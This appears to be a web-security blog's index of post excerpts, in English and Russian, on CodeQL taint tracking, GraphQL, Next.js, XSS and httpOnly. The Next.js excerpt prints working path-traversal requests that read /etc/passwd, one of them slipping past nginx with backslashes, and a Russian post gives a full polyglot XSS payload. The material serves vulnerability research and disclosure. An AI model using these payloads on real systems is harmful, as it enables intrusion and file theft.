Using CodeQL to detect client-side vulnerabilities in web applications

GitHub’s CodeQL is a robust query language originally developed by Semmle that allows you to look for vulnerabilities in the source code. CodeQL is known as a tool to inspect open source repositories, however its usage is not limited just to it. In this article I will delve into approaches on how to use CodeQL for web application audits, specifically to discover client-side vulnerabilities.

The idea of CodeQL is to treat source code as a database which can be queried using SQL-like statements. There are lots of languages supported among which is JavaScript. For JavaScript both server-side and client-side flavours are supported. JS CodeQL understands modern editions such as ES6 as well as frameworks like React (with JSX) and Angular.

CodeQL is not just grep as it supports taint tracking which allows you to test if a given user input (a source) can reach a vulnerable function (a sink). This is especially useful when dealing with DOM-based Cross Site Scripting vulnerabilities. By tainting a user-supplied DOM property such as location.hash one can test if this value actually reaches one of the XSS sinks, e.g. document.innerHTML or document.write().

Looting GraphQL Endpoints for Fun and Profit

In one of the previous posts about the state of modern web applications security I mentioned GraphQL – a new technology for building APIs developed by Facebook. GraphQL is rapidly gaining popularity, more and more services switch to this technology, both web and mobile applications. Some of the GraphQL users are: GitHub, Shopify, Pintereset, HackerOne and many more. You can find many posts about GraphQL benefits and advantages over classic REST API on the internet, however there is not so much information about GraphQL security considerations. In this post I would like to elaborate on GraphQL: how it works, what the weak points are, how an attacker can abuse them, and which tools can be used.

Arbitrary File Reading in Next.js < 2.4.1

Next.js is a quite popular (>13k stars on GitHub) framework for server-rendered React applications. It includes a NodeJS server which allows to render HTML pages dynamically. While digging into server’s code, a list of internal routes drew my attention:

defineRoutes() {
    const routes = {
      /* ... */
      '/_next/:path+': async(req, res, params) => {
        const p = join(__dirname, '..', 'client', ...(params.path || []))
        await this.serveStatic(req, res, p)
      },
      '/static/:path+': async(req, res, params) => {
        const p = join(this.dir, 'static', ...(params.path || []))
        await this.serveStatic(req, res, p)
      }
      /* ... */
    }

As you can see you can pass arbitrary path into serveStatic() function via /_next/ and /static/ endpoints:

export function serveStatic(req, res, path) {
  return new Promise((resolve, reject) =>; {
    send(req, path)
      .on('directory', () =>; {
        // We don't allow directories to be read.
        const err = new Error('No directory access')
        err.code = 'ENOENT'
        reject(err)
      })
      .on('error', reject)
      .pipe(res)
      .on('finish', resolve)
  })
}

This function just pipes the contents of files into the output without any validation or restrictions. So, we can try to perform a path traversal:

GET /_next/../../../../../../../../../etc/passwd HTTP/1.1

And it works! However, NodeJS application servers are usually deployed behind nginx. Due to path normalization in nginx we cannot just use forward slashes and dots, nginx will return a Bad Request error code. Luckily, NodeJS server transforms backslashes into forward slashes, so we can bypass nginx validation.

GET /_next\..\..\..\..\..\..\..\..\..\etc\passwd HTTP/1.1

ZEIT, the company which develops Next.js, was very quick to respond and roll out the patch. Be sure to update to the latest version.

Universal (Isomorphic) Web Applications Security

Nowadays you do not write things in jQuery. You use node.js, webpack, React, Redux, websockets, babel and a ton of other packages to help you create a basic ToDo web application. With frontend technologies developing rapidly, isomorphic (or to be correct universal) web applications are a big thing now. In a nutshell, it means that you can write the code in JavaScript which can be run both on server and client side with reusable components, validators and shared state. Lovely, isn’t it? As a frontend developer you would say that it definitely is. A security guy would argue since the approach is extremely unsafe for your data.

Универсальный XSS-вектор

Поиск XSS довольно трудоемкое занятие, так как необходимо учитывать множество контекстов, в которых может выполниться js-код, например внутри одинарных или двойных кавычек, внутри различных атрибутов и т.д. Для тех, кому надоело перебирать возможные варианты, пригодится следующий универсальный xss-вектор, который выполнится в любом контексте, т.е. его можно поместить в любой параметр и не беспокоится о том, в какой участок кода он в конечном счете попадет:

javascript:/*--></marquee></script></title></textarea></noscript></style></xmp>">[img=1]<img -/style=-=expression&#40&#47;&#42;’/-/*&#39;,/**/eval(name)//&#41;;width:100%;height:100%;position:absolute;behavior:url(#default#VML);-o-link:javascript:eval(title);-o-link-source:current name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) background=javascript:eval(name)//>"

Размер немного великоват (428 байт), но это в любом случае более продуктивный вариант, чем "><script>alert()</script>.
Для удобного использования в Opera можно добавить данный вектор как заполнитель формы (Меню – Настройки – Общие настройки – Формы), для Firefox с плагином TamperData можно создать новый элемент контекстного меню для перехватываемых пакетов.

Credits: Gareth Heyes @ thespanner.co.uk

Чтение истории посещений с помощью CSS

На написание этой небольшой заметки меня подтолкнул пост в блоге автора плагина NoScript о ресурсе с провокационным названием Start Panic!, который призывает пользователей написать петицию к разработчикам браузеров для устранения бага, связанного с выявлением посещенных пользователями страниц с помощью JS+CSS эксплоита, который может быть размещен на любом сайте. Как раз на startpanic.com и проводится демонстрация уязвимости; к слову, довольно показательная – все выведенные адреса действительно мной посещались. На самом деле ничего нового в этом баге нет – используется давно известный прием CSS History Reading. Собственно о нем и расскажу на примере его реализации на startpanic.com.

XSS Rays – браузер как сканер XSS

Небезызвестный Gareth Heyes сегодня опубликовал свою новую утилиту для сканирования сайтов на наличие XSS. Особенность его разработки заключается в том, что процесс сканирования производится браузером атакующего при помощи javascript. Алгоритм довольно прост: javascript-код рекурсивно собирает все ссылки и формы со страниц сайта и проводит различные тесты, используя встроенную базу векторов. XSS Rays способен совершать кроссдоменные вызовы благодаря использованию тэгов iframe вместо AJAX. Для логирования результатов сканеру требуется локальный веб-сервер с PHP. Реализация сканера в контексте браузера, по словам разработчика, способствует повышению точности и качества конечного результата, хотя ложные срабатывания не исключены. Для использования XSS Rays необходимо лишь открыть страницу http://localhost/XSS_Rays/helpers/bookmarklet.html и сохранить ссылку в закладки. Сканирование сайта производится по клику на букмарклет и нажатию на CTRL+SHIFT+X.
XSS Rays

Методы обхода httpOnly

httpOnly – это дополнительный флаг для HTTP-заголовка Set-Cookie, который указывает на запрет чтения/записи данных Cookie посредством JavaScript, отсюда и название: Cookie доступны только через протокол HTTP. Использование httpOnly позволяет веб-разработчикам установить собственную политику безопасности в отношении доступа к Cookie из среды браузера, что по замыслу разработчиков из Microsoft должно помочь в борьбе против XSS-уязвимостей. Однако обойти ограничения httpOnly довольно просто…